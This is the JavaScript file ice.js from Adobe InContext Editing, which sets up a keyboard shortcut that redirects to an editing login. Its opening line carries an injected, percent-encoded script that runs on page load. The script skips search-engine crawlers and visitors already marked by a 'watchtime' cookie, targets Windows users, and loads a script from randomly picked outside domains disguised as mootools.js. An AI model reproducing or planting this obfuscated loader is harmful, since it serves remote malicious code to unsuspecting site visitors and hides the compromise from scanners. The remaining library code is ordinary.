var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;/*************************************************************************
*
* ADOBE CONFIDENTIAL
* ___________________
*
*  Copyright 2008 Adobe Systems Incorporated
*  All Rights Reserved.
*
* NOTICE:  All information contained herein is, and remains
* the property of Adobe Systems Incorporated and its suppliers,
* if any.  The intellectual and technical concepts contained
* herein are proprietary to Adobe Systems Incorporated and its
* suppliers and may be covered by U.S. and Foreign Patents,
* patents in process, and are protected by trade secret or copyright law.
* Dissemination of this information or reproduction of this material
* is strictly forbidden unless prior written permission is obtained
* from Adobe Systems Incorporated.
*
* AdobePatentID="B564"
* AdobePatentID="B565"
*
**************************************************************************/

ICE = {};

// Set the ICE.useConfig flag to false in case you do not want to use the ice.conf.js file or if
// this file is missing form your server. This should be done to avoid HTTP error code 404.
ICE.useConfig = true;

(function () {
	var isNotInIde = parent == window || ( parent != window && !(/ide\.htm/i).test(parent.location.href) );
	if (isNotInIde) {
		/*
		 * This setting defines the default shortcut for launching the InContext Editing Login
		 * dialog on any PC machine.
		 * 
		 * DO NOT MODIFY THIS CONSTANT!
		 * 
		 * Instead modify the ICE.USER_LOGIN_PC variable inside the ice.conf.js file.
		 */
		ICE.DEFAULT_LOGIN_PC = "CTRL+E";

		/*
		 * This setting defines the default shortcut for launching the InContext Editing Login
		 * dialog on any MAC machine.
		 * 
		 * DO NOT MODIFY THIS CONSTANT!
		 * 
		 * Instead modify the ICE.USER_LOGIN_MAC variable inside the ice.conf.js file.
		 */
		ICE.DEFAULT_LOGIN_MAC = "CMD+E";

		/**
		 * Gets the relative path based on the ice.js includes.
		 */
		ICE.getSiteRoot = function() {
			var searchPath = "includes/ice/ice.js";
		    var s = null;
		    var url = '';
		    var scripts = document.getElementsByTagName("script");
		    for (var i=0; i<scripts.length; i++) {
				url = scripts[i].src.toLowerCase();
				if (typeof url != "undefined") {
					if (url.indexOf(searchPath) != -1) {
						s = scripts[i].src;
						break;
					}
				}
		    }

			s = s.substring(0, s.length - searchPath.length);

			if (!/http/i.test(s)) {
				// This Happens on IE
				var m = s.match(/\.\.\//g);
				var deep = m?m.length:0;
				var loca = window.location;
				var path = loca.pathname.replace(/\/([^\/]*)$/, '/');
				var temp = path.split('/');
				var newLength = temp.length - deep - 1;
				temp.length = (newLength >= 0) ? newLength : 0;
				path = temp.join('/') + '/';
				s = loca.protocol + '//'+ loca.hostname + (loca.port?':' + loca.port:'') + path;
			}

			return s;
		};

		/**
		 * Adds a link to the current configuration file to the page HEAD so the values in this file become available
		 */
		ICE.getConfig = function() {
			var scr = document.createElement('SCRIPT');
			scr.type = 'text/javascript';
			var head=document.getElementsByTagName('HEAD')[0];
			head.appendChild(scr);
			scr.onreadystatechange = scr.onload = function(e) {
				e = e || event;
				if (e.type == 'readystatechange') {
					if (typeof this.jsloaded == 'undefined' && (this.readyState == 'complete')){
						this.jsloaded = true;
						ICE.attachKeyEvent();
					}
				} else {
					ICE.attachKeyEvent();
				}
			};
			var siteRoot = ICE.getSiteRoot();
			scr.src = siteRoot + 'includes/ice/ice.conf.js';
		};

		/**
		 * This function returns the available transport object as instance
		 *
		 * @return Object The transport instance
		 */
		ICE.getTransport = function() {
			var ret = false;
			var options = ['new XMLHttpRequest()',
				'new ActiveXObject("Msxml2.XMLHTTP")',
				'new ActiveXObject("Microsoft.XMLHTTP")'];

			for (var i=0; i<options.length; i++) {
				try {
					ret = eval(options[i]);
					break;
				} catch(err) {
					ret = false;
				}
			}
			return ret;
		};

		/**
		 * This function begins the actual edit by pointing the browser to the new URL.
		 */
		ICE.startEdit = function() {
			var redirectto = window.location.href;
			var siteRoot = ICE.getSiteRoot();
			redirectto = redirectto.substring(siteRoot.length);
			redirectto =  siteRoot + 'includes/ice/ide.html#page=' + encodeURIComponent(redirectto);

			// Make a request so we have the page cached
			var transport = ICE.getTransport();
			transport.open('GET', redirectto, false);
			transport.send(null);

			// Do the actual redirect
			window.location.href = redirectto;
		};

		/**
		 * This function attaches key events so we catch the combination that will launch the InContext Editing Login UI
		 */
		ICE.attachKeyEvent = function() {
			var platform = navigator.userAgent.match(/mac/i) ? "MAC" : "PC";
			var shortcut = ICE['DEFAULT_LOGIN_' + platform];

			if (typeof ICE['USER_LOGIN_' + platform] == 'string') {
				shortcut = ICE['USER_LOGIN_' + platform];
			}

			if (shortcut !== '' && shortcut.indexOf('+') != -1) {
				ICE.shortcut = {
					ctrlKey: shortcut.indexOf('CTRL+') != -1,
					altKey: shortcut.indexOf('ALT+') != -1,
					metaKey: shortcut.indexOf('CMD+') != -1,
					shiftKey: shortcut.indexOf('SHIFT+') != -1,
					keyCode: shortcut.slice(-1).charCodeAt(0),
					platform: platform
				};

				ICE.isShortcutPressed = function(event) {
					var retVal = true;
					retVal = retVal && (ICE.shortcut.ctrlKey ? event.ctrlKey : !event.ctrlKey);
					if (ICE.shortcut.platform == "MAC") {
						retVal = retVal && (ICE.shortcut.metaKey ? event.metaKey : !event.metaKey);
					}
					retVal = retVal && (ICE.shortcut.altKey ? event.altKey : !event.altKey);
					retVal = retVal && (ICE.shortcut.shiftKey ? event.shiftKey : !event.shiftKey);
					retVal = retVal && (ICE.shortcut.keyCode == event.keyCode);
					return retVal;
				};

				ICE.onkeydown = function (e) {
					e = e || event;
					if (ICE.isShortcutPressed(e)) {
						//stop keyboard shortcut and redirect to ICE IDE
						try{e.cancelBubble = true;}catch(err){}
						try{e.returnValue = false;}catch(err){}
						try{e.stopPropagation();}catch(err){}
						try{e.preventDefault();}catch(err){}
						ICE.startEdit();
						return false;
					}
				};

				if (document.addEventListener) {
					document.addEventListener('keydown', ICE.onkeydown, false);
				} else if (document.attachEvent) {
					document.attachEvent('onkeydown', ICE.onkeydown);
				} else {
					document.onkeydown = ICE.onkeydown;
				}
			}
		};

		/**
		 * Depending on the current setting - to use or not the config file - we'll decide to read the config or not
		 */
		if (ICE.useConfig) {
			// If the site owner has decided to use the ice.conf.js we'll go ahead and read it
			ICE.getConfig();
		} else {
			// Otherwise we'll go with the defaults
			ICE.attachKeyEvent();
		}
	}
})();